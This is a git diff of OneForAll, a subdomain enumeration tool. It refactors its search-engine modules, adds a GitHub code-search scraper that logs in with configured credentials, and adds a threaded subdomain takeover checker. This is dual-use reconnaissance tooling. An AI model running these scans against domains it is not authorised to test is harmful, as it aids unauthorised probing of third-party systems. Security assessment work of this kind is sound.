s = re.findall(r'name="s" value="(\d.*)"', resp.text)[-1]
|
||||||
dc = re.findall(r'name="dc" value="(\d.*)"', resp.text)
|
dc = re.findall(r'name="dc" value="(\d.*)"', resp.text)
|
||||||
|
|||||||
@@ -32,13 +32,13 @@ class Exalead(Search):
|
|||||||
resp = self.get(url=self.addr, params=params)
|
resp = self.get(url=self.addr, params=params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomain_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
if subdomain_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
self.page_num += self.per_page_num
|
self.page_num += self.per_page_num
|
||||||
if self.page_num > 1999:
|
if self.page_num > 1999:
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -22,18 +22,28 @@ class FoFa(Search):
|
|||||||
发送搜索请求并做子域匹配
|
发送搜索请求并做子域匹配
|
||||||
"""
|
"""
|
||||||
self.page_num = 1
|
self.page_num = 1
|
||||||
query_data = base64.b64encode(f'domain={self.domain}'.encode('utf-8'))
|
subdomain_encode = f'domain={self.domain}'.encode('utf-8')
|
||||||
|
query_data = base64.b64encode(subdomain_encode)
|
||||||
while True:
|
while True:
|
||||||
time.sleep(self.delay)
|
time.sleep(self.delay)
|
||||||
self.header = self.get_header()
|
self.header = self.get_header()
|
||||||
self.proxy = self.get_proxy(self.source)
|
self.proxy = self.get_proxy(self.source)
|
||||||
query = {'email': self.email, 'key': self.key,
|
query = {'email': self.email,
|
||||||
'qbase64': query_data, 'page': self.page_num}
|
'key': self.key,
|
||||||
|
'qbase64': query_data,
|
||||||
|
'page': self.page_num,
|
||||||
|
'size': 10000}
|
||||||
resp = self.get(self.addr, query)
|
resp = self.get(self.addr, query)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(self.domain, resp.text)
|
resp_json = resp.json()
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
subdomains = self.match(self.domain, str(resp_json))
|
||||||
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
|
break
|
||||||
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
size = resp_json.get('size')
|
||||||
|
if size < 10000:
|
||||||
|
break
|
||||||
self.page_num += 1
|
self.page_num += 1
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
|
|||||||
@@ -0,0 +1,122 @@
|
|||||||
|
import re
|
||||||
|
import time
|
||||||
|
import requests
|
||||||
|
import config
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
from common.search import Search
|
||||||
|
from config import logger
|
||||||
|
|
||||||
|
|
||||||
|
class Github(Search):
|
||||||
|
def __init__(self, domain):
|
||||||
|
Search.__init__(self)
|
||||||
|
self.source = 'GithubSearch'
|
||||||
|
self.module = 'Search'
|
||||||
|
self.addr = 'https://github.com/search'
|
||||||
|
self.domain = self.register(domain)
|
||||||
|
self.header = self.get_header()
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.login_url = 'https://github.com/login'
|
||||||
|
self.post_url = 'https://github.com/session'
|
||||||
|
self.email = config.github_email
|
||||||
|
self.password = config.github_password
|
||||||
|
|
||||||
|
def login_github(self):
|
||||||
|
"""
|
||||||
|
登录github
|
||||||
|
|
||||||
|
:return: 登录失败返回False 成功返回True
|
||||||
|
"""
|
||||||
|
token = self.get_token()
|
||||||
|
if token is None:
|
||||||
|
logger.log('ERROR', f'{self.source}模块获取token失败')
|
||||||
|
return False
|
||||||
|
post_data = {
|
||||||
|
'commit': 'Sign in',
|
||||||
|
'utf8': '✓',
|
||||||
|
'authenticity_token': token,
|
||||||
|
'login': self.email,
|
||||||
|
'password': self.password
|
||||||
|
}
|
||||||
|
resp = self.session.post(self.post_url, data=post_data)
|
||||||
|
if resp.status_code != 200:
|
||||||
|
return False
|
||||||
|
match = re.search(r'"user-login" content="(.*?)"', resp.text)
|
||||||
|
if match:
|
||||||
|
return True
|
||||||
|
|
||||||
|
def get_token(self):
|
||||||
|
"""
|
||||||
|
获取github登录token
|
||||||
|
|
||||||
|
:return: 获取失败返回None,成功返回token
|
||||||
|
"""
|
||||||
|
resp = self.session.get(self.login_url)
|
||||||
|
if resp.status_code != 200:
|
||||||
|
return None
|
||||||
|
match = re.search(
|
||||||
|
r'name="authenticity_token" value="(.*?)"', resp.text)
|
||||||
|
if not match:
|
||||||
|
return None
|
||||||
|
return match.group(1)
|
||||||
|
|
||||||
|
def search(self, full_search=True):
|
||||||
|
"""
|
||||||
|
向接口查询子域并做子域匹配
|
||||||
|
"""
|
||||||
|
self.session.headers = self.get_header()
|
||||||
|
self.session.proxies = self.get_proxy(self.source)
|
||||||
|
self.session.verify = self.verify
|
||||||
|
if not self.login_github():
|
||||||
|
logger.log('ERROR', f'{self.session}模块登录失败')
|
||||||
|
return
|
||||||
|
page_num = 1
|
||||||
|
while True:
|
||||||
|
time.sleep(self.delay)
|
||||||
|
params = {'p': page_num, 'q': f'"{self.domain}"', 'type': 'Code'}
|
||||||
|
resp = self.session.get(self.addr, params=params)
|
||||||
|
if resp.status_code != 200:
|
||||||
|
logger.log('ERROR', f'{self.session}模块搜索出错')
|
||||||
|
break
|
||||||
|
soup = BeautifulSoup(resp.text, 'lxml')
|
||||||
|
subdomains = self.match(self.domain, soup.text)
|
||||||
|
print(subdomains)
|
||||||
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
if not subdomains:
|
||||||
|
break
|
||||||
|
if not full_search:
|
||||||
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
|
if subdomains.issubset(self.subdomains):
|
||||||
|
break
|
||||||
|
if 'class="next_page disabled"' in resp.text:
|
||||||
|
break
|
||||||
|
if page_num > 100:
|
||||||
|
break
|
||||||
|
page_num += 1
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""
|
||||||
|
类执行入口
|
||||||
|
"""
|
||||||
|
if not self.check(self.email, self.password):
|
||||||
|
return
|
||||||
|
self.begin()
|
||||||
|
self.search()
|
||||||
|
self.finish()
|
||||||
|
self.save_json()
|
||||||
|
self.gen_result()
|
||||||
|
self.save_db()
|
||||||
|
|
||||||
|
|
||||||
|
def do(domain): # 统一入口名字 方便多线程调用
|
||||||
|
"""
|
||||||
|
类统一调用入口
|
||||||
|
|
||||||
|
:param str domain: 域名
|
||||||
|
"""
|
||||||
|
query = Github(domain)
|
||||||
|
query.run()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
do('mi.com')
|
||||||
@@ -40,13 +40,13 @@ class Google(Search):
|
|||||||
resp = self.get(url=self.addr, params=payload)
|
resp = self.get(url=self.addr, params=payload)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomain_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
if subdomain_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
page_num += per_page_num
|
page_num += per_page_num
|
||||||
if 'start=' + str(page_num) not in resp.text:
|
if 'start=' + str(page_num) not in resp.text:
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -35,13 +35,13 @@ class GoogleAPI(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(domain, str(resp.json()))
|
subdomains = self.match(domain, str(resp.json()))
|
||||||
if not subdomain_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
if subdomain_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
self.page_num += self.per_page_num
|
self.page_num += self.per_page_num
|
||||||
if self.page_num > 100: # 免费的API只能查询前100条结果
|
if self.page_num > 100: # 免费的API只能查询前100条结果
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -25,11 +25,11 @@ class ShodanAPI(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
if not subdomain_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
if subdomain_find:
|
if subdomains:
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
page += 1
|
page += 1
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
|
|||||||
@@ -31,14 +31,14 @@ class So(Search):
|
|||||||
resp = self.get(url=self.addr, params=payload)
|
resp = self.get(url=self.addr, params=payload)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomain_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomain_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
page_num += 1
|
page_num += 1
|
||||||
# 搜索页面没有出现下一页时停止搜索
|
# 搜索页面没有出现下一页时停止搜索
|
||||||
if '<a id="snext"' not in resp.text:
|
if '<a id="snext"' not in resp.text:
|
||||||
|
|||||||
@@ -28,14 +28,14 @@ class Sogou(Search):
|
|||||||
resp = self.get(self.addr, payload)
|
resp = self.get(self.addr, payload)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomain_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomain_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
self.page_num += 1
|
self.page_num += 1
|
||||||
# 搜索页面没有出现下一页时停止搜索
|
# 搜索页面没有出现下一页时停止搜索
|
||||||
if '<a id="sogou_next"' not in resp.text:
|
if '<a id="sogou_next"' not in resp.text:
|
||||||
|
|||||||
@@ -36,15 +36,15 @@ class Yahoo(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomains_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomains_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
if '>Next</a>' not in resp.text: # 搜索页面没有出现下一页时停止搜索
|
if '>Next</a>' not in resp.text: # 搜索页面没有出现下一页时停止搜索
|
||||||
break
|
break
|
||||||
self.page_num += self.per_page_num
|
self.page_num += self.per_page_num
|
||||||
|
|||||||
@@ -36,15 +36,15 @@ class Yandex(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomains_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomains_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
if '>next</a>' not in resp.text: # 搜索页面没有出现下一页时停止搜索
|
if '>next</a>' not in resp.text: # 搜索页面没有出现下一页时停止搜索
|
||||||
break
|
break
|
||||||
self.page_num += 1
|
self.page_num += 1
|
||||||
|
|||||||
@@ -25,12 +25,12 @@ class ZoomEyeAPI(Search):
|
|||||||
if not resp:
|
if not resp:
|
||||||
logger.log('FETAL', f'登录失败无法获取{self.source}的访问token')
|
logger.log('FETAL', f'登录失败无法获取{self.source}的访问token')
|
||||||
return
|
return
|
||||||
resp_json = resp.json()
|
data = resp.json()
|
||||||
if resp.status_code == 200:
|
if resp.status_code == 200:
|
||||||
logger.log('DEBUG', f'{self.source}模块登录成功')
|
logger.log('DEBUG', f'{self.source}模块登录成功')
|
||||||
return resp_json.get('access_token')
|
return data.get('access_token')
|
||||||
else:
|
else:
|
||||||
logger.log('ALERT', resp_json.get('message'))
|
logger.log('ALERT', data.get('message'))
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
def search(self):
|
def search(self):
|
||||||
@@ -48,8 +48,10 @@ class ZoomEyeAPI(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
|
break
|
||||||
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
page_num += 1
|
page_num += 1
|
||||||
if page_num > 500:
|
if page_num > 500:
|
||||||
break
|
break
|
||||||
|
|||||||
+53
-32
@@ -9,7 +9,6 @@ OneForAll是一款功能强大的子域收集工具
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import asyncio
|
import asyncio
|
||||||
import sys
|
|
||||||
|
|
||||||
import fire
|
import fire
|
||||||
import config
|
import config
|
||||||
@@ -20,6 +19,7 @@ from collect import Collect
|
|||||||
from aiobrute import AIOBrute
|
from aiobrute import AIOBrute
|
||||||
from common import utils, resolve, request
|
from common import utils, resolve, request
|
||||||
from common.database import Database
|
from common.database import Database
|
||||||
|
from takeover import Takeover
|
||||||
|
|
||||||
yellow = '\033[01;33m'
|
yellow = '\033[01;33m'
|
||||||
white = '\033[01;37m'
|
white = '\033[01;37m'
|
||||||
@@ -28,7 +28,7 @@ blue = '\033[01;34m'
|
|||||||
red = '\033[1;31m'
|
red = '\033[1;31m'
|
||||||
end = '\033[0m'
|
end = '\033[0m'
|
||||||
|
|
||||||
version = white + '{' + red + 'v0.0.4#dev' + white + '}'
|
version = white + '{' + red + 'v0.0.6#dev' + white + '}'
|
||||||
|
|
||||||
banner = f"""{yellow}
|
banner = f"""{yellow}
|
||||||
___ _ _
|
___ _ _
|
||||||
@@ -42,46 +42,55 @@ class OneForAll(object):
|
|||||||
"""
|
"""
|
||||||
OneForAll是一款功能强大的子域收集工具
|
OneForAll是一款功能强大的子域收集工具
|
||||||
|
|
||||||
Version: 0.0.4
|
Version: 0.0.6
|
||||||
Project: https://git.io/fjHT1
|
Project: https://git.io/fjHT1
|
||||||
|
|
||||||
Example:
|
Example:
|
||||||
python oneforall.py --target example.com run
|
python3 oneforall.py --target example.com run
|
||||||
python oneforall.py --target ./domains.txt run
|
python3 oneforall.py --target ./subdomains.txt run
|
||||||
python oneforall.py --target example.com --brute True --port medium
|
python3 oneforall.py --target example.com --valid None run
|
||||||
python oneforall.py --target example.com --valid None run
|
python3 oneforall.py --target example.com --brute True run
|
||||||
python oneforall.py --target example.com --format csv --path result.csv
|
python3 oneforall.py --target example.com --port medium run
|
||||||
python oneforall.py --target example.com --output True run
|
python3 oneforall.py --target example.com --format csv run
|
||||||
|
python3 oneforall.py --target example.com --verify False run
|
||||||
|
python3 oneforall.py --target example.com --takeover False run
|
||||||
|
python3 oneforall.py --target example.com --show True run
|
||||||
|
|
||||||
Note:
|
Note:
|
||||||
参数valid可选值有1,0,None,分别表示导出有效,无效,全部子域
|
参数valid可选值1,0,None分别表示导出有效,无效,全部子域
|
||||||
|
参数verify为True会尝试解析和请求子域并根据结果给子域有效性打上标签
|
||||||
参数port可选值有'small', 'medium', 'large', 'xlarge',详见config.py配置
|
参数port可选值有'small', 'medium', 'large', 'xlarge',详见config.py配置
|
||||||
参数format可选格式有'csv', 'tsv', 'json', 'yaml', 'html', 'xls', 'xlsx',
|
参数format可选格式有'txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
'dbf', 'latex', 'ods'
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
||||||
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
|
||||||
|
|
||||||
:param str target: 单个域名或者每行一个域名的文件路径
|
:param str target: 单个域名或者每行一个域名的文件路径(必需参数)
|
||||||
:param bool brute: 是否使用爆破模块(默认禁用)
|
:param bool brute: 使用爆破模块(默认False)
|
||||||
:param str port: HTTP请求验证的端口范围(默认medium)
|
:param bool verify: 验证子域有效性(默认True)
|
||||||
|
:param str port: 请求验证的端口范围(默认medium)
|
||||||
:param int valid: 导出子域的有效性(默认1)
|
:param int valid: 导出子域的有效性(默认1)
|
||||||
:param str format: 导出格式(默认xlsx)
|
:param str format: 导出格式(默认csv)
|
||||||
:param str path: 导出路径(默认None)
|
:param bool show: 终端显示导出数据(默认False)
|
||||||
:param bool output: 是否将导出数据输出到终端(默认False)
|
|
||||||
"""
|
"""
|
||||||
def __init__(self, target, brute=None, port='medium', valid=1, path=None,
|
def __init__(self, target, brute=None, verify=None, port='medium', valid=1,
|
||||||
format='xlsx', output=False):
|
format='csv', takeover=True, show=False):
|
||||||
self.target = target
|
self.target = target
|
||||||
self.port = port
|
self.port = port
|
||||||
self.domains = set()
|
self.domains = set()
|
||||||
self.domain = str()
|
self.domain = str()
|
||||||
self.datas = list()
|
self.datas = list()
|
||||||
self.brute = brute or config.enable_brute_module
|
self.brute = brute
|
||||||
|
self.verify = verify
|
||||||
|
self.takeover = takeover
|
||||||
self.valid = valid
|
self.valid = valid
|
||||||
self.path = path
|
|
||||||
self.format = format
|
self.format = format
|
||||||
self.output = output
|
self.show = show
|
||||||
|
|
||||||
def main(self):
|
def main(self):
|
||||||
|
if self.brute is None:
|
||||||
|
self.brute = config.enable_brute_module
|
||||||
|
if self.verify is None:
|
||||||
|
self.verify = config.enable_verify_subdomain
|
||||||
|
rename_table = self.domain + '_last'
|
||||||
collect = Collect(self.domain, export=False)
|
collect = Collect(self.domain, export=False)
|
||||||
collect.run()
|
collect.run()
|
||||||
if self.brute:
|
if self.brute:
|
||||||
@@ -93,6 +102,16 @@ class OneForAll(object):
|
|||||||
db.copy_table(self.domain, self.domain+'_ori')
|
db.copy_table(self.domain, self.domain+'_ori')
|
||||||
db.remove_invalid(self.domain)
|
db.remove_invalid(self.domain)
|
||||||
db.deduplicate_subdomain(self.domain)
|
db.deduplicate_subdomain(self.domain)
|
||||||
|
# 不验证子域的情况
|
||||||
|
if not self.verify:
|
||||||
|
# 数据库导出
|
||||||
|
self.valid = None
|
||||||
|
dbexport.export(self.domain, valid=self.valid, format=self.format,
|
||||||
|
show=self.show)
|
||||||
|
db.drop_table(rename_table)
|
||||||
|
db.rename_table(self.domain, rename_table)
|
||||||
|
return
|
||||||
|
# 开始验证子域工作
|
||||||
self.datas = db.get_data(self.domain).as_dict()
|
self.datas = db.get_data(self.domain).as_dict()
|
||||||
loop = asyncio.get_event_loop()
|
loop = asyncio.get_event_loop()
|
||||||
asyncio.set_event_loop(loop)
|
asyncio.set_event_loop(loop)
|
||||||
@@ -112,21 +131,22 @@ class OneForAll(object):
|
|||||||
self.datas = loop.run_until_complete(task)
|
self.datas = loop.run_until_complete(task)
|
||||||
# 在关闭事件循环前加入一小段延迟让底层连接得到关闭的缓冲时间
|
# 在关闭事件循环前加入一小段延迟让底层连接得到关闭的缓冲时间
|
||||||
loop.run_until_complete(asyncio.sleep(0.25))
|
loop.run_until_complete(asyncio.sleep(0.25))
|
||||||
loop.close()
|
|
||||||
|
|
||||||
db.clear_table(self.domain)
|
db.clear_table(self.domain)
|
||||||
db.save_db(self.domain, self.datas)
|
db.save_db(self.domain, self.datas)
|
||||||
|
|
||||||
# 数据库导出
|
# 数据库导出
|
||||||
if not self.path:
|
dbexport.export(self.domain, valid=self.valid, format=self.format,
|
||||||
name = f'{self.domain}.{self.format}'
|
show=self.show)
|
||||||
self.path = config.result_save_path.joinpath(name)
|
|
||||||
dbexport.export(self.domain, db.conn, self.valid, self.path,
|
|
||||||
self.format, self.output)
|
|
||||||
|
|
||||||
rename_table = self.domain + '_last'
|
|
||||||
db.drop_table(rename_table)
|
db.drop_table(rename_table)
|
||||||
db.rename_table(self.domain, rename_table)
|
db.rename_table(self.domain, rename_table)
|
||||||
|
db.close()
|
||||||
|
# 子域接管检查
|
||||||
|
|
||||||
|
if self.takeover:
|
||||||
|
subdomains = set(map(lambda x: x.get('subdomain'), self.datas))
|
||||||
|
takeover = Takeover(subdomains)
|
||||||
|
takeover.run()
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
print(banner)
|
print(banner)
|
||||||
@@ -145,3 +165,4 @@ class OneForAll(object):
|
|||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
fire.Fire(OneForAll)
|
fire.Fire(OneForAll)
|
||||||
# OneForAll('example.com').run()
|
# OneForAll('example.com').run()
|
||||||
|
# OneForAll('./domains.txt').run()
|
||||||
|
|||||||
@@ -0,0 +1,2 @@
|
|||||||
|
www.example.com
|
||||||
|
www.hackfun.org
|
||||||
@@ -0,0 +1,169 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
# coding=utf-8
|
||||||
|
|
||||||
|
"""
|
||||||
|
OneForAll子域接管模块
|
||||||
|
|
||||||
|
:copyright: Copyright (c) 2019, Jing Ling. All rights reserved.
|
||||||
|
:license: GNU General Public License v3.0, see LICENSE for more details.
|
||||||
|
"""
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
from threading import Thread
|
||||||
|
from queue import Queue
|
||||||
|
|
||||||
|
import fire
|
||||||
|
from tablib import Dataset
|
||||||
|
from tqdm import tqdm
|
||||||
|
|
||||||
|
import config
|
||||||
|
from config import logger
|
||||||
|
from common import resolve, utils
|
||||||
|
from common.module import Module
|
||||||
|
from common.domain import Domain
|
||||||
|
|
||||||
|
|
||||||
|
def get_fingerprint():
|
||||||
|
path = config.data_storage_path.joinpath('fingerprints.json')
|
||||||
|
with open(path) as file:
|
||||||
|
fingerprints = json.load(file)
|
||||||
|
return fingerprints
|
||||||
|
|
||||||
|
|
||||||
|
def get_cname(subdomain):
|
||||||
|
resolver = resolve.dns_resolver()
|
||||||
|
try:
|
||||||
|
answers = resolver.query(subdomain, 'CNAME')
|
||||||
|
except Exception as e:
|
||||||
|
logger.log('DEBUG', e.args)
|
||||||
|
return None
|
||||||
|
for answer in answers:
|
||||||
|
return answer.to_text() # 一个子域只有一个CNAME记录
|
||||||
|
|
||||||
|
|
||||||
|
def get_maindomain(subdomain):
|
||||||
|
return Domain(subdomain).registered()
|
||||||
|
|
||||||
|
|
||||||
|
class Takeover(Module):
|
||||||
|
"""
|
||||||
|
OneForAll多线程子域接管风险检查模块
|
||||||
|
|
||||||
|
Example:
|
||||||
|
python3 takeover.py --target www.example.com --format csv run
|
||||||
|
python3 takeover.py --target ./subdomains.txt --thread 10 run
|
||||||
|
|
||||||
|
Note:
|
||||||
|
参数format可选格式有'txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
||||||
|
参数dpath为None默认使用OneForAll结果目录
|
||||||
|
|
||||||
|
:param str target: 单个子域或者每行一个子域的文件路径(必需参数)
|
||||||
|
:param int thread: 线程数(默认100)
|
||||||
|
:param str format: 导出格式(默认csv)
|
||||||
|
:param str dpath: 导出目录(默认None)
|
||||||
|
"""
|
||||||
|
def __init__(self, target, thread=100, dpath=None, format='csv'):
|
||||||
|
Module.__init__(self)
|
||||||
|
self.subdomains = set()
|
||||||
|
self.module = 'Check'
|
||||||
|
self.source = 'Takeover'
|
||||||
|
self.target = target
|
||||||
|
self.thread = thread
|
||||||
|
self.dpath = dpath
|
||||||
|
self.format = format
|
||||||
|
self.fingerprints = None
|
||||||
|
self.subdomainq = Queue()
|
||||||
|
self.cnames = list()
|
||||||
|
self.results = Dataset()
|
||||||
|
|
||||||
|
def save(self):
|
||||||
|
logger.log('INFOR', '正在保存检查结果')
|
||||||
|
if self.format == 'txt':
|
||||||
|
data = str(self.results)
|
||||||
|
else:
|
||||||
|
data = self.results.export(self.format)
|
||||||
|
fpath = self.dpath.joinpath(f'takeover.{self.format}')
|
||||||
|
utils.save_data(fpath, data)
|
||||||
|
|
||||||
|
def compare(self, subdomain, cname, responses):
|
||||||
|
domain_resp = self.get('http://' + subdomain, check=False)
|
||||||
|
cname_resp = self.get('http://'+cname, check=False)
|
||||||
|
if domain_resp is None or cname_resp is None:
|
||||||
|
return
|
||||||
|
|
||||||
|
for resp in responses:
|
||||||
|
if resp in domain_resp.text and resp in cname_resp.text:
|
||||||
|
logger.log('ALERT', f'{subdomain}存在子域接管风险')
|
||||||
|
self.results.append([subdomain, cname])
|
||||||
|
break
|
||||||
|
|
||||||
|
def worker(self, subdomain):
|
||||||
|
cname = get_cname(subdomain)
|
||||||
|
if cname is None:
|
||||||
|
return
|
||||||
|
maindomain = get_maindomain(cname)
|
||||||
|
for fingerprint in self.fingerprints:
|
||||||
|
cnames = fingerprint.get('cname')
|
||||||
|
if maindomain not in cnames:
|
||||||
|
continue
|
||||||
|
responses = fingerprint.get('response')
|
||||||
|
self.compare(subdomain, cname, responses)
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
while not self.subdomainq.empty(): # 保证域名队列遍历结束后能退出线程
|
||||||
|
subdomain = self.subdomainq.get() # 从队列中获取域名
|
||||||
|
self.worker(subdomain)
|
||||||
|
self.subdomainq.task_done()
|
||||||
|
|
||||||
|
def progress(self):
|
||||||
|
# 设置进度
|
||||||
|
bar = tqdm()
|
||||||
|
bar.total = len(self.subdomains)
|
||||||
|
bar.desc = 'Progress'
|
||||||
|
bar.ncols = True
|
||||||
|
while True:
|
||||||
|
done = bar.total - self.subdomainq.qsize()
|
||||||
|
bar.n = done
|
||||||
|
bar.update()
|
||||||
|
if done == bar.total: # 完成队列中所有子域的检查退出
|
||||||
|
break
|
||||||
|
bar.close()
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
start = time.time()
|
||||||
|
logger.log('INFOR', f'开始执行{self.source}模块')
|
||||||
|
self.format = utils.check_format(self.format)
|
||||||
|
self.dpath = utils.check_dpath(self.dpath)
|
||||||
|
self.subdomains = utils.get_domains(self.target)
|
||||||
|
if self.subdomains:
|
||||||
|
logger.log('INFOR', f'正在检查子域接管风险')
|
||||||
|
self.fingerprints = get_fingerprint()
|
||||||
|
self.results.headers = ['subdomain', 'cname']
|
||||||
|
# 创建待检查的子域队列
|
||||||
|
for domain in self.subdomains:
|
||||||
|
self.subdomainq.put(domain)
|
||||||
|
# 检查线程
|
||||||
|
for _ in range(self.thread):
|
||||||
|
check_thread = Thread(target=self.check, daemon=True)
|
||||||
|
check_thread.start()
|
||||||
|
# 进度线程
|
||||||
|
progress_thread = Thread(target=self.progress, daemon=True)
|
||||||
|
progress_thread.start()
|
||||||
|
|
||||||
|
self.subdomainq.join()
|
||||||
|
self.save()
|
||||||
|
else:
|
||||||
|
logger.log('FATAL', f'获取域名失败')
|
||||||
|
end = time.time()
|
||||||
|
elapsed = round(end - start, 1)
|
||||||
|
logger.log('INFOR', f'{self.source}模块耗时{elapsed}秒'
|
||||||
|
f'发现{len(self.results)}个子域存在接管风险')
|
||||||
|
logger.log('DEBUG', f'结束执行{self.source}模块')
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
fire.Fire(Takeover)
|
||||||
|
# takeover = Takeover('www.example.com')
|
||||||
|
# takeover = Takeover('./subdomains.txt')
|
||||||
|
# takeover.run()
|
||||||
Binary file not shown.
Reference in New Issue
Block a user